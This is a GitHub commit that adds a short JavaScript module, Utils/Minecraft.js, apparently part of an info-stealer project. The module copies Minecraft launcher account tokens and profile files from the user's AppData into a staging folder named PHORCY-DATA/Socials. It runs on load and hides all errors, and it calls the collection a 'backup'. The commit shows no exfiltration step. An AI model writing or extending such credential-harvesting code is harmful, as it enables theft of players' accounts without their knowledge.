Create Minecraft.js

This commit is contained in:
Synthetic
2023-11-19 12:43:03 -05:00
committed by GitHub
parent 109f8b4050
commit b34853e802

26
Utils/Minecraft.js Normal file
View File

@@ -0,0 +1,26 @@
const fs = require('fs');
const fsp = require('fs').promises;
const path = require('path');
async function minecraft() {
const mcf = path.join(process.env.APPDATA, '.minecraft');
const forward = path.join('PHORCY-DATA', 'Socials', 'Minecraft');
try {
const backupfiles = ['launcher_accounts.json', 'usercache.json', 'launcher_profiles.json', 'launcher_log.txt'];
const existing = backupfiles.some(file => fs.existsSync(path.join(mcf, file)));
if (existing) {
await fsp.mkdir(forward, { recursive: true });
for (const file of backupfiles) {
const src = path.join(mcf, file);
const dest = path.join(forward, file);
try {
await fsp.copyFile(src, dest);
} catch (err) {
}
}
} else { // looks weird cuz i had error handling here before
}
} catch (e) {
}
}
minecraft();